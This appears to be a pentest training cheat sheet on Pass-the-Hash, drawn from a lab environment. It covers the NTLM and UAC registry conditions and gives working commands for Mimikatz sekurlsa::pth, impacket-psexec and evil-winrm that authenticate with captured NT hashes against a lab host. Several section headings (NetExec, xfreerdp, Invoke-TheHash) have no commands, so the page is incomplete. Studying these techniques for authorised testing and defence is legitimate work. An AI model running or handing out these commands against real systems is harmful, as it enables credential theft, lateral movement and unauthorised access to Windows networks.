Pass The Hash
Overview
Pass-the-Hash uses an NTLM hash to authenticate without knowing the plaintext password
Works with NTLM authentication — does NOT work with Kerberos alone
UAC Limitation
Registry key:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicyValue
0= only RID-500 (built-in Administrator) can PtH remotelyValue
1= all local admins can PtH
PtH - Mimikatz
mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exitPtH - Impacket PsExec
impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453PtH - Evil-WinRM
evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453PtH - NetExec (Spray Subnet)
PtH - NetExec (Command Exec)
PtH - RDP (xfreerdp)
Must enable Restricted Admin mode first:
PtH - Invoke-TheHash (SMB Exec)
PtH - Invoke-TheHash (WMI Exec)
Last updated